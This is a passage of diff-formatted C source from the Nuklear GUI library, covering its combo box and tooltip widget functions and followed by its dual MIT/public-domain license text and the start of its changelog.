+ + + + +/* ============================================================== + * + * COMBO + * + * ===============================================================*/ +NK_INTERN int +nk_combo_begin(struct nk_context *ctx, struct nk_window *win, + struct nk_vec2 size, int is_clicked, struct nk_rect header) +{ + struct nk_window *popup; + int is_open = 0; + int is_active = 0; + struct nk_rect body; + nk_hash hash; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return 0; + + popup = win->popup.win; + body.x = header.x; + body.w = size.x; + body.y = header.y + header.h-ctx->style.window.combo_border; + body.h = size.y; + + hash = win->popup.combo_count++; + is_open = (popup) ? nk_true:nk_false; + is_active = (popup && (win->popup.name == hash) && win->popup.type == NK_PANEL_COMBO); + if ((is_clicked && is_open && !is_active) || (is_open && !is_active) || + (!is_open && !is_active && !is_clicked)) return 0; + if (!nk_nonblock_begin(ctx, 0, body, + (is_clicked && is_open)?nk_rect(0,0,0,0):header, NK_PANEL_COMBO)) return 0; + + win->popup.type = NK_PANEL_COMBO; + win->popup.name = hash; + return 1; +} +NK_API int +nk_combo_begin_text(struct nk_context *ctx, const char *selected, int len, + struct nk_vec2 size) +{ + const struct nk_input *in; + struct nk_window *win; + struct nk_style *style; + + enum nk_widget_layout_states s; + int is_clicked = nk_false; + struct nk_rect header; + const struct nk_style_item *background; + struct nk_text text; + + NK_ASSERT(ctx); + NK_ASSERT(selected); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout || !selected) + return 0; + + win = ctx->current; + style = &ctx->style; + s = nk_widget(&header, ctx); + if (s == NK_WIDGET_INVALID) + return 0; + + in = (win->layout->flags & NK_WINDOW_ROM || s == NK_WIDGET_ROM)? 0: &ctx->input; + if (nk_button_behavior(&ctx->last_widget_state, header, in, NK_BUTTON_DEFAULT)) + is_clicked = nk_true; + + /* draw combo box header background and border */ + if (ctx->last_widget_state & NK_WIDGET_STATE_ACTIVED) { + background = &style->combo.active; + text.text = style->combo.label_active; + } else if (ctx->last_widget_state & NK_WIDGET_STATE_HOVER) { + background = &style->combo.hover; + text.text = style->combo.label_hover; + } else { + background = &style->combo.normal; + text.text = style->combo.label_normal; + } + if (background->type == NK_STYLE_ITEM_IMAGE) { + text.background = nk_rgba(0,0,0,0); + nk_draw_image(&win->buffer, header, &background->data.image, nk_white); + } else { + text.background = background->data.color; + nk_fill_rect(&win->buffer, header, style->combo.rounding, background->data.color); + nk_stroke_rect(&win->buffer, header, style->combo.rounding, style->combo.border, style->combo.border_color); + } + { + /* print currently selected text item */ + struct nk_rect label; + struct nk_rect button; + struct nk_rect content; + + enum nk_symbol_type sym; + if (ctx->last_widget_state & NK_WIDGET_STATE_HOVER) + sym = style->combo.sym_hover; + else if (is_clicked) + sym = style->combo.sym_active; + else sym = style->combo.sym_normal; + + /* calculate button */ + button.w = header.h - 2 * style->combo.button_padding.y; + button.x = (header.x + header.w - header.h) - style->combo.button_padding.x; + button.y = header.y + style->combo.button_padding.y; + button.h = button.w; + + content.x = button.x + style->combo.button.padding.x; + content.y = button.y + style->combo.button.padding.y; + content.w = button.w - 2 * style->combo.button.padding.x; + content.h = button.h - 2 * style->combo.button.padding.y; + + /* draw selected label */ + text.padding = nk_vec2(0,0); + label.x = header.x + style->combo.content_padding.x; + label.y = header.y + style->combo.content_padding.y; + label.w = button.x - (style->combo.content_padding.x + style->combo.spacing.x) - label.x;; + label.h = header.h - 2 * style->combo.content_padding.y; + nk_widget_text(&win->buffer, label, selected, len, &text, + NK_TEXT_LEFT, ctx->style.font); + + /* draw open/close button */ + nk_draw_button_symbol(&win->buffer, &button, &content, ctx->last_widget_state, + &ctx->style.combo.button, sym, style->font); + } + return nk_combo_begin(ctx, win, size, is_clicked, header); +} +NK_API int +nk_combo_begin_label(struct nk_context *ctx, const char *selected, struct nk_vec2 size) +{ + return nk_combo_begin_text(ctx, selected, nk_strlen(selected), size); +} +NK_API int +nk_combo_begin_color(struct nk_context *ctx, struct nk_color color, struct nk_vec2 size) +{ + struct nk_window *win; + struct nk_style *style; + const struct nk_input *in; + + struct nk_rect header; + int is_clicked = nk_false; + enum nk_widget_layout_states s; + const struct nk_style_item *background; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return 0; + + win = ctx->current; + style = &ctx->style; + s = nk_widget(&header, ctx); + if (s == NK_WIDGET_INVALID) + return 0; + + in = (win->layout->flags & NK_WINDOW_ROM || s == NK_WIDGET_ROM)? 0: &ctx->input; + if (nk_button_behavior(&ctx->last_widget_state, header, in, NK_BUTTON_DEFAULT)) + is_clicked = nk_true; + + /* draw combo box header background and border */ + if (ctx->last_widget_state & NK_WIDGET_STATE_ACTIVED) + background = &style->combo.active; + else if (ctx->last_widget_state & NK_WIDGET_STATE_HOVER) + background = &style->combo.hover; + else background = &style->combo.normal; + + if (background->type == NK_STYLE_ITEM_IMAGE) { + nk_draw_image(&win->buffer, header, &background->data.image,nk_white); + } else { + nk_fill_rect(&win->buffer, header, style->combo.rounding, background->data.color); + nk_stroke_rect(&win->buffer, header, style->combo.rounding, style->combo.border, style->combo.border_color); + } + { + struct nk_rect content; + struct nk_rect button; + struct nk_rect bounds; + + enum nk_symbol_type sym; + if (ctx->last_widget_state & NK_WIDGET_STATE_HOVER) + sym = style->combo.sym_hover; + else if (is_clicked) + sym = style->combo.sym_active; + else sym = style->combo.sym_normal; + + /* calculate button */ + button.w = header.h - 2 * style->combo.button_padding.y; + button.x = (header.x + header.w - header.h) - style->combo.button_padding.x; + button.y = header.y + style->combo.button_padding.y; + button.h = button.w; + + content.x = button.x + style->combo.button.padding.x; + content.y = button.y + style->combo.button.padding.y; + content.w = button.w - 2 * style->combo.button.padding.x; + content.h = button.h - 2 * style->combo.button.padding.y; + + /* draw color */ + bounds.h = header.h - 4 * style->combo.content_padding.y; + bounds.y = header.y + 2 * style->combo.content_padding.y; + bounds.x = header.x + 2 * style->combo.content_padding.x; + bounds.w = (button.x - (style->combo.content_padding.x + style->combo.spacing.x)) - bounds.x; + nk_fill_rect(&win->buffer, bounds, 0, color); + + /* draw open/close button */ + nk_draw_button_symbol(&win->buffer, &button, &content, ctx->last_widget_state, + &ctx->style.combo.button, sym, style->font); + } + return nk_combo_begin(ctx, win, size, is_clicked, header); +} +NK_API int +nk_combo_begin_symbol(struct nk_context *ctx, enum nk_symbol_type symbol, struct nk_vec2 size) +{ + struct nk_window *win; + struct nk_style *style; + const struct nk_input *in; + + struct nk_rect header; + int is_clicked = nk_false; + enum nk_widget_layout_states s; + const struct nk_style_item *background; + struct nk_color sym_background; + struct nk_color symbol_color; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return 0; + + win = ctx->current; + style = &ctx->style; + s = nk_widget(&header, ctx); + if (s == NK_WIDGET_INVALID) + return 0; + + in = (win->layout->flags & NK_WINDOW_ROM || s == NK_WIDGET_ROM)? 0: &ctx->input; + if (nk_button_behavior(&ctx->last_widget_state, header, in, NK_BUTTON_DEFAULT)) + is_clicked = nk_true; + + /* draw combo box header background and border */ + if (ctx->last_widget_state & NK_WIDGET_STATE_ACTIVED) { + background = &style->combo.active; + symbol_color = style->combo.symbol_active; + } else if (ctx->last_widget_state & NK_WIDGET_STATE_HOVER) { + background = &style->combo.hover; + symbol_color = style->combo.symbol_hover; + } else { + background = &style->combo.normal; + symbol_color = style->combo.symbol_hover; + } + + if (background->type == NK_STYLE_ITEM_IMAGE) { + sym_background = nk_rgba(0,0,0,0); + nk_draw_image(&win->buffer, header, &background->data.image, nk_white); + } else { + sym_background = background->data.color; + nk_fill_rect(&win->buffer, header, style->combo.rounding, background->data.color); + nk_stroke_rect(&win->buffer, header, style->combo.rounding, style->combo.border, style->combo.border_color); + } + { + struct nk_rect bounds = {0,0,0,0}; + struct nk_rect content; + struct nk_rect button; + + enum nk_symbol_type sym; + if (ctx->last_widget_state & NK_WIDGET_STATE_HOVER) + sym = style->combo.sym_hover; + else if (is_clicked) + sym = style->combo.sym_active; + else sym = style->combo.sym_normal; + + /* calculate button */ + button.w = header.h - 2 * style->combo.button_padding.y; + button.x = (header.x + header.w - header.h) - style->combo.button_padding.y; + button.y = header.y + style->combo.button_padding.y; + button.h = button.w; + + content.x = button.x + style->combo.button.padding.x; + content.y = button.y + style->combo.button.padding.y; + content.w = button.w - 2 * style->combo.button.padding.x; + content.h = button.h - 2 * style->combo.button.padding.y; + + /* draw symbol */ + bounds.h = header.h - 2 * style->combo.content_padding.y; + bounds.y = header.y + style->combo.content_padding.y; + bounds.x = header.x + style->combo.content_padding.x; + bounds.w = (button.x - style->combo.content_padding.y) - bounds.x; + nk_draw_symbol(&win->buffer, symbol, bounds, sym_background, symbol_color, + 1.0f, style->font); + + /* draw open/close button */ + nk_draw_button_symbol(&win->buffer, &bounds, &content, ctx->last_widget_state, + &ctx->style.combo.button, sym, style->font); + } + return nk_combo_begin(ctx, win, size, is_clicked, header); +} +NK_API int +nk_combo_begin_symbol_text(struct nk_context *ctx, const char *selected, int len, + enum nk_symbol_type symbol, struct nk_vec2 size) +{ + struct nk_window *win; + struct nk_style *style; + struct nk_input *in; + + struct nk_rect header; + int is_clicked = nk_false; + enum nk_widget_layout_states s; + const struct nk_style_item *background; + struct nk_color symbol_color; + struct nk_text text; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return 0; + + win = ctx->current; + style = &ctx->style; + s = nk_widget(&header, ctx); + if (!s) return 0; + + in = (win->layout->flags & NK_WINDOW_ROM || s == NK_WIDGET_ROM)? 0: &ctx->input; + if (nk_button_behavior(&ctx->last_widget_state, header, in, NK_BUTTON_DEFAULT)) + is_clicked = nk_true; + + /* draw combo box header background and border */ + if (ctx->last_widget_state & NK_WIDGET_STATE_ACTIVED) { + background = &style->combo.active; + symbol_color = style->combo.symbol_active; + text.text = style->combo.label_active; + } else if (ctx->last_widget_state & NK_WIDGET_STATE_HOVER) { + background = &style->combo.hover; + symbol_color = style->combo.symbol_hover; + text.text = style->combo.label_hover; + } else { + background = &style->combo.normal; + symbol_color = style->combo.symbol_normal; + text.text = style->combo.label_normal; + } + if (background->type == NK_STYLE_ITEM_IMAGE) { + text.background = nk_rgba(0,0,0,0); + nk_draw_image(&win->buffer, header, &background->data.image, nk_white); + } else { + text.background = background->data.color; + nk_fill_rect(&win->buffer, header, style->combo.rounding, background->data.color); + nk_stroke_rect(&win->buffer, header, style->combo.rounding, style->combo.border, style->combo.border_color); + } + { + struct nk_rect content; + struct nk_rect button; + struct nk_rect label; + struct nk_rect image; + + enum nk_symbol_type sym; + if (ctx->last_widget_state & NK_WIDGET_STATE_HOVER) + sym = style->combo.sym_hover; + else if (is_clicked) + sym = style->combo.sym_active; + else sym = style->combo.sym_normal; + + /* calculate button */ + button.w = header.h - 2 * style->combo.button_padding.y; + button.x = (header.x + header.w - header.h) - style->combo.button_padding.x; + button.y = header.y + style->combo.button_padding.y; + button.h = button.w; + + content.x = button.x + style->combo.button.padding.x; + content.y = button.y + style->combo.button.padding.y; + content.w = button.w - 2 * style->combo.button.padding.x; + content.h = button.h - 2 * style->combo.button.padding.y; + nk_draw_button_symbol(&win->buffer, &button, &content, ctx->last_widget_state, + &ctx->style.combo.button, sym, style->font); + + /* draw symbol */ + image.x = header.x + style->combo.content_padding.x; + image.y = header.y + style->combo.content_padding.y; + image.h = header.h - 2 * style->combo.content_padding.y; + image.w = image.h; + nk_draw_symbol(&win->buffer, symbol, image, text.background, symbol_color, + 1.0f, style->font); + + /* draw label */ + text.padding = nk_vec2(0,0); + label.x = image.x + image.w + style->combo.spacing.x + style->combo.content_padding.x; + label.y = header.y + style->combo.content_padding.y; + label.w = (button.x - style->combo.content_padding.x) - label.x; + label.h = header.h - 2 * style->combo.content_padding.y; + nk_widget_text(&win->buffer, label, selected, len, &text, NK_TEXT_LEFT, style->font); + } + return nk_combo_begin(ctx, win, size, is_clicked, header); +} +NK_API int +nk_combo_begin_image(struct nk_context *ctx, struct nk_image img, struct nk_vec2 size) +{ + struct nk_window *win; + struct nk_style *style; + const struct nk_input *in; + + struct nk_rect header; + int is_clicked = nk_false; + enum nk_widget_layout_states s; + const struct nk_style_item *background; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return 0; + + win = ctx->current; + style = &ctx->style; + s = nk_widget(&header, ctx); + if (s == NK_WIDGET_INVALID) + return 0; + + in = (win->layout->flags & NK_WINDOW_ROM || s == NK_WIDGET_ROM)? 0: &ctx->input; + if (nk_button_behavior(&ctx->last_widget_state, header, in, NK_BUTTON_DEFAULT)) + is_clicked = nk_true; + + /* draw combo box header background and border */ + if (ctx->last_widget_state & NK_WIDGET_STATE_ACTIVED) + background = &style->combo.active; + else if (ctx->last_widget_state & NK_WIDGET_STATE_HOVER) + background = &style->combo.hover; + else background = &style->combo.normal; + + if (background->type == NK_STYLE_ITEM_IMAGE) { + nk_draw_image(&win->buffer, header, &background->data.image, nk_white); + } else { + nk_fill_rect(&win->buffer, header, style->combo.rounding, background->data.color); + nk_stroke_rect(&win->buffer, header, style->combo.rounding, style->combo.border, style->combo.border_color); + } + { + struct nk_rect bounds = {0,0,0,0}; + struct nk_rect content; + struct nk_rect button; + + enum nk_symbol_type sym; + if (ctx->last_widget_state & NK_WIDGET_STATE_HOVER) + sym = style->combo.sym_hover; + else if (is_clicked) + sym = style->combo.sym_active; + else sym = style->combo.sym_normal; + + /* calculate button */ + button.w = header.h - 2 * style->combo.button_padding.y; + button.x = (header.x + header.w - header.h) - style->combo.button_padding.y; + button.y = header.y + style->combo.button_padding.y; + button.h = button.w; + + content.x = button.x + style->combo.button.padding.x; + content.y = button.y + style->combo.button.padding.y; + content.w = button.w - 2 * style->combo.button.padding.x; + content.h = button.h - 2 * style->combo.button.padding.y; + + /* draw image */ + bounds.h = header.h - 2 * style->combo.content_padding.y; + bounds.y = header.y + style->combo.content_padding.y; + bounds.x = header.x + style->combo.content_padding.x; + bounds.w = (button.x - style->combo.content_padding.y) - bounds.x; + nk_draw_image(&win->buffer, bounds, &img, nk_white); + + /* draw open/close button */ + nk_draw_button_symbol(&win->buffer, &bounds, &content, ctx->last_widget_state, + &ctx->style.combo.button, sym, style->font); + } + return nk_combo_begin(ctx, win, size, is_clicked, header); +} +NK_API int +nk_combo_begin_image_text(struct nk_context *ctx, const char *selected, int len, + struct nk_image img, struct nk_vec2 size) +{ + struct nk_window *win; + struct nk_style *style; + struct nk_input *in; + + struct nk_rect header; + int is_clicked = nk_false; + enum nk_widget_layout_states s; + const struct nk_style_item *background; + struct nk_text text; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return 0; + + win = ctx->current; + style = &ctx->style; + s = nk_widget(&header, ctx); + if (!s) return 0; + + in = (win->layout->flags & NK_WINDOW_ROM || s == NK_WIDGET_ROM)? 0: &ctx->input; + if (nk_button_behavior(&ctx->last_widget_state, header, in, NK_BUTTON_DEFAULT)) + is_clicked = nk_true; + + /* draw combo box header background and border */ + if (ctx->last_widget_state & NK_WIDGET_STATE_ACTIVED) { + background = &style->combo.active; + text.text = style->combo.label_active; + } else if (ctx->last_widget_state & NK_WIDGET_STATE_HOVER) { + background = &style->combo.hover; + text.text = style->combo.label_hover; + } else { + background = &style->combo.normal; + text.text = style->combo.label_normal; + } + if (background->type == NK_STYLE_ITEM_IMAGE) { + text.background = nk_rgba(0,0,0,0); + nk_draw_image(&win->buffer, header, &background->data.image, nk_white); + } else { + text.background = background->data.color; + nk_fill_rect(&win->buffer, header, style->combo.rounding, background->data.color); + nk_stroke_rect(&win->buffer, header, style->combo.rounding, style->combo.border, style->combo.border_color); + } + { + struct nk_rect content; + struct nk_rect button; + struct nk_rect label; + struct nk_rect image; + + enum nk_symbol_type sym; + if (ctx->last_widget_state & NK_WIDGET_STATE_HOVER) + sym = style->combo.sym_hover; + else if (is_clicked) + sym = style->combo.sym_active; + else sym = style->combo.sym_normal; + + /* calculate button */ + button.w = header.h - 2 * style->combo.button_padding.y; + button.x = (header.x + header.w - header.h) - style->combo.button_padding.x; + button.y = header.y + style->combo.button_padding.y; + button.h = button.w; + + content.x = button.x + style->combo.button.padding.x; + content.y = button.y + style->combo.button.padding.y; + content.w = button.w - 2 * style->combo.button.padding.x; + content.h = button.h - 2 * style->combo.button.padding.y; + nk_draw_button_symbol(&win->buffer, &button, &content, ctx->last_widget_state, + &ctx->style.combo.button, sym, style->font); + + /* draw image */ + image.x = header.x + style->combo.content_padding.x; + image.y = header.y + style->combo.content_padding.y; + image.h = header.h - 2 * style->combo.content_padding.y; + image.w = image.h; + nk_draw_image(&win->buffer, image, &img, nk_white); + + /* draw label */ + text.padding = nk_vec2(0,0); + label.x = image.x + image.w + style->combo.spacing.x + style->combo.content_padding.x; + label.y = header.y + style->combo.content_padding.y; + label.w = (button.x - style->combo.content_padding.x) - label.x; + label.h = header.h - 2 * style->combo.content_padding.y; + nk_widget_text(&win->buffer, label, selected, len, &text, NK_TEXT_LEFT, style->font); + } + return nk_combo_begin(ctx, win, size, is_clicked, header); +} +NK_API int +nk_combo_begin_symbol_label(struct nk_context *ctx, + const char *selected, enum nk_symbol_type type, struct nk_vec2 size) +{ + return nk_combo_begin_symbol_text(ctx, selected, nk_strlen(selected), type, size); +} +NK_API int +nk_combo_begin_image_label(struct nk_context *ctx, + const char *selected, struct nk_image img, struct nk_vec2 size) +{ + return nk_combo_begin_image_text(ctx, selected, nk_strlen(selected), img, size); +} +NK_API int +nk_combo_item_text(struct nk_context *ctx, const char *text, int len,nk_flags align) +{ + return nk_contextual_item_text(ctx, text, len, align); +} +NK_API int +nk_combo_item_label(struct nk_context *ctx, const char *label, nk_flags align) +{ + return nk_contextual_item_label(ctx, label, align); +} +NK_API int +nk_combo_item_image_text(struct nk_context *ctx, struct nk_image img, const char *text, + int len, nk_flags alignment) +{ + return nk_contextual_item_image_text(ctx, img, text, len, alignment); +} +NK_API int +nk_combo_item_image_label(struct nk_context *ctx, struct nk_image img, + const char *text, nk_flags alignment) +{ + return nk_contextual_item_image_label(ctx, img, text, alignment); +} +NK_API int +nk_combo_item_symbol_text(struct nk_context *ctx, enum nk_symbol_type sym, + const char *text, int len, nk_flags alignment) +{ + return nk_contextual_item_symbol_text(ctx, sym, text, len, alignment); +} +NK_API int +nk_combo_item_symbol_label(struct nk_context *ctx, enum nk_symbol_type sym, + const char *label, nk_flags alignment) +{ + return nk_contextual_item_symbol_label(ctx, sym, label, alignment); +} +NK_API void nk_combo_end(struct nk_context *ctx) +{ + nk_contextual_end(ctx); +} +NK_API void nk_combo_close(struct nk_context *ctx) +{ + nk_contextual_close(ctx); +} +NK_API int +nk_combo(struct nk_context *ctx, const char **items, int count, + int selected, int item_height, struct nk_vec2 size) +{ + int i = 0; + int max_height; + struct nk_vec2 item_spacing; + struct nk_vec2 window_padding; + + NK_ASSERT(ctx); + NK_ASSERT(items); + NK_ASSERT(ctx->current); + if (!ctx || !items ||!count) + return selected; + + item_spacing = ctx->style.window.spacing; + window_padding = nk_panel_get_padding(&ctx->style, ctx->current->layout->type); + max_height = count * item_height + count * (int)item_spacing.y; + max_height += (int)item_spacing.y * 2 + (int)window_padding.y * 2; + size.y = NK_MIN(size.y, (float)max_height); + if (nk_combo_begin_label(ctx, items[selected], size)) { + nk_layout_row_dynamic(ctx, (float)item_height, 1); + for (i = 0; i < count; ++i) { + if (nk_combo_item_label(ctx, items[i], NK_TEXT_LEFT)) + selected = i; + } + nk_combo_end(ctx); + } + return selected; +} +NK_API int +nk_combo_separator(struct nk_context *ctx, const char *items_separated_by_separator, + int separator, int selected, int count, int item_height, struct nk_vec2 size) +{ + int i; + int max_height; + struct nk_vec2 item_spacing; + struct nk_vec2 window_padding; + const char *current_item; + const char *iter; + int length = 0; + + NK_ASSERT(ctx); + NK_ASSERT(items_separated_by_separator); + if (!ctx || !items_separated_by_separator) + return selected; + + /* calculate popup window */ + item_spacing = ctx->style.window.spacing; + window_padding = nk_panel_get_padding(&ctx->style, ctx->current->layout->type); + max_height = count * item_height + count * (int)item_spacing.y; + max_height += (int)item_spacing.y * 2 + (int)window_padding.y * 2; + size.y = NK_MIN(size.y, (float)max_height); + + /* find selected item */ + current_item = items_separated_by_separator; + for (i = 0; i < count; ++i) { + iter = current_item; + while (*iter && *iter != separator) iter++; + length = (int)(iter - current_item); + if (i == selected) break; + current_item = iter + 1; + } + + if (nk_combo_begin_text(ctx, current_item, length, size)) { + current_item = items_separated_by_separator; + nk_layout_row_dynamic(ctx, (float)item_height, 1); + for (i = 0; i < count; ++i) { + iter = current_item; + while (*iter && *iter != separator) iter++; + length = (int)(iter - current_item); + if (nk_combo_item_text(ctx, current_item, length, NK_TEXT_LEFT)) + selected = i; + current_item = current_item + length + 1; + } + nk_combo_end(ctx); + } + return selected; +} +NK_API int +nk_combo_string(struct nk_context *ctx, const char *items_separated_by_zeros, + int selected, int count, int item_height, struct nk_vec2 size) +{ + return nk_combo_separator(ctx, items_separated_by_zeros, '\0', selected, count, item_height, size); +} +NK_API int +nk_combo_callback(struct nk_context *ctx, void(*item_getter)(void*, int, const char**), + void *userdata, int selected, int count, int item_height, struct nk_vec2 size) +{ + int i; + int max_height; + struct nk_vec2 item_spacing; + struct nk_vec2 window_padding; + const char *item; + + NK_ASSERT(ctx); + NK_ASSERT(item_getter); + if (!ctx || !item_getter) + return selected; + + /* calculate popup window */ + item_spacing = ctx->style.window.spacing; + window_padding = nk_panel_get_padding(&ctx->style, ctx->current->layout->type); + max_height = count * item_height + count * (int)item_spacing.y; + max_height += (int)item_spacing.y * 2 + (int)window_padding.y * 2; + size.y = NK_MIN(size.y, (float)max_height); + + item_getter(userdata, selected, &item); + if (nk_combo_begin_label(ctx, item, size)) { + nk_layout_row_dynamic(ctx, (float)item_height, 1); + for (i = 0; i < count; ++i) { + item_getter(userdata, i, &item); + if (nk_combo_item_label(ctx, item, NK_TEXT_LEFT)) + selected = i; + } + nk_combo_end(ctx); + } return selected; +} +NK_API void +nk_combobox(struct nk_context *ctx, const char **items, int count, + int *selected, int item_height, struct nk_vec2 size) +{ + *selected = nk_combo(ctx, items, count, *selected, item_height, size); +} +NK_API void +nk_combobox_string(struct nk_context *ctx, const char *items_separated_by_zeros, + int *selected, int count, int item_height, struct nk_vec2 size) +{ + *selected = nk_combo_string(ctx, items_separated_by_zeros, *selected, count, item_height, size); +} +NK_API void +nk_combobox_separator(struct nk_context *ctx, const char *items_separated_by_separator, + int separator,int *selected, int count, int item_height, struct nk_vec2 size) +{ + *selected = nk_combo_separator(ctx, items_separated_by_separator, separator, + *selected, count, item_height, size); +} +NK_API void +nk_combobox_callback(struct nk_context *ctx, + void(*item_getter)(void* data, int id, const char **out_text), + void *userdata, int *selected, int count, int item_height, struct nk_vec2 size) +{ + *selected = nk_combo_callback(ctx, item_getter, userdata, *selected, count, item_height, size); +} + + + + + +/* =============================================================== + * + * TOOLTIP + * + * ===============================================================*/ +NK_API int +nk_tooltip_begin(struct nk_context *ctx, float width) +{ + int x,y,w,h; + struct nk_window *win; + const struct nk_input *in; + struct nk_rect bounds; + int ret; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return 0; + + /* make sure that no nonblocking popup is currently active */ + win = ctx->current; + in = &ctx->input; + if (win->popup.win && (win->popup.type & NK_PANEL_SET_NONBLOCK)) + return 0; + + w = nk_iceilf(width); + h = nk_iceilf(nk_null_rect.h); + x = nk_ifloorf(in->mouse.pos.x + 1) - (int)win->layout->clip.x; + y = nk_ifloorf(in->mouse.pos.y + 1) - (int)win->layout->clip.y; + + bounds.x = (float)x; + bounds.y = (float)y; + bounds.w = (float)w; + bounds.h = (float)h; + + ret = nk_popup_begin(ctx, NK_POPUP_DYNAMIC, + "__##Tooltip##__", NK_WINDOW_NO_SCROLLBAR|NK_WINDOW_BORDER, bounds); + if (ret) win->layout->flags &= ~(nk_flags)NK_WINDOW_ROM; + win->popup.type = NK_PANEL_TOOLTIP; + ctx->current->layout->type = NK_PANEL_TOOLTIP; + return ret; +} + +NK_API void +nk_tooltip_end(struct nk_context *ctx) +{ + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + if (!ctx || !ctx->current) return; + ctx->current->seq--; + nk_popup_close(ctx); + nk_popup_end(ctx); +} +NK_API void +nk_tooltip(struct nk_context *ctx, const char *text) +{ + const struct nk_style *style; + struct nk_vec2 padding; + + int text_len; + float text_width; + float text_height; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + NK_ASSERT(text); + if (!ctx || !ctx->current || !ctx->current->layout || !text) + return; + + /* fetch configuration data */ + style = &ctx->style; + padding = style->window.padding; + + /* calculate size of the text and tooltip */ + text_len = nk_strlen(text); + text_width = style->font->width(style->font->userdata, + style->font->height, text, text_len); + text_width += (4 * padding.x); + text_height = (style->font->height + 2 * padding.y); + + /* execute tooltip and fill with text */ + if (nk_tooltip_begin(ctx, (float)text_width)) { + nk_layout_row_dynamic(ctx, (float)text_height, 1); + nk_text(ctx, text, text_len, NK_TEXT_LEFT); + nk_tooltip_end(ctx); + } +} +#ifdef NK_INCLUDE_STANDARD_VARARGS +NK_API void +nk_tooltipf(struct nk_context *ctx, const char *fmt, ...) +{ + va_list args; + va_start(args, fmt); + nk_tooltipfv(ctx, fmt, args); + va_end(args); +} +NK_API void +nk_tooltipfv(struct nk_context *ctx, const char *fmt, va_list args) +{ + char buf[256]; + nk_strfmt(buf, NK_LEN(buf), fmt, args); + nk_tooltip(ctx, buf); +} +#endif + + + +#endif /* NK_IMPLEMENTATION */ + +/* +/// ## License +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~none +/// ------------------------------------------------------------------------------ +/// This software is available under 2 licenses -- choose whichever you prefer. +/// ------------------------------------------------------------------------------ +/// ALTERNATIVE A - MIT License +/// Copyright (c) 2016-2018 Micha Mettke +/// Permission is hereby granted, free of charge, to any person obtaining a copy of +/// this software and associated documentation files (the "Software"), to deal in +/// the Software without restriction, including without limitation the rights to +/// use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies +/// of the Software, and to permit persons to whom the Software is furnished to do +/// so, subject to the following conditions: +/// The above copyright notice and this permission notice shall be included in all +/// copies or substantial portions of the Software. +/// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +/// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +/// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +/// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +/// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +/// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +/// SOFTWARE. +/// ------------------------------------------------------------------------------ +/// ALTERNATIVE B - Public Domain (www.unlicense.org) +/// This is free and unencumbered software released into the public domain. +/// Anyone is free to copy, modify, publish, use, compile, sell, or distribute this +/// software, either in source code form or as a compiled binary, for any purpose, +/// commercial or non-commercial, and by any means. +/// In jurisdictions that recognize copyright laws, the author or authors of this +/// software dedicate any and all copyright interest in the software to the public +/// domain. We make this dedication for the benefit of the public at large and to +/// the detriment of our heirs and successors. We intend this dedication to be an +/// overt act of relinquishment in perpetuity of all present and future rights to +/// this software under copyright law. +/// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +/// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +/// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +/// AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN +/// ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +/// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +/// ------------------------------------------------------------------------------ +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +/// ## Changelog +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~none +/// [date][x.yy.zz]-[description] +/// -[date]: date on which the change has been pushed +/// -[x.yy.zz]: Numerical version string representation. Each version number on the right +/// resets back to zero if version on the left is incremented. +/// - [x]: Major version with API and library breaking changes +/// - [yy]: Minor version with non-breaking API and library changes +/// - [zz]: Bug fix version with no direct changes to API +/// +/// - 2019/09/10 (4.01.2) - Fixed the nk_cos function, which deviated significantly. +/// - 2019/09/08 (4.01.1) - Fixed a bug wherein re-baking of fonts caused a segmentation +/// fault due to dst_font->glyph_count not being zeroed on subsequent +/// bakes of the same set of fonts. +/// - 2019/06/23 (4.01.0) - Added nk_***_get_scroll and nk_***_set_scroll for groups, windows, and popups +/// - 2019/06/12 (4.00.3) - Fix panel background drawing bug +/// - 2018/10/31 (4.00.2) - Added NK_KEYSTATE_BASED_INPUT to "fix" state based backends + like GLFW without breaking key repeat behavior on event based. +/// - 2018/04/01 (4.00.1) - Fixed calling `nk_convert` multiple time per single frame +/// - 2018/04/01 (4.00.0) - 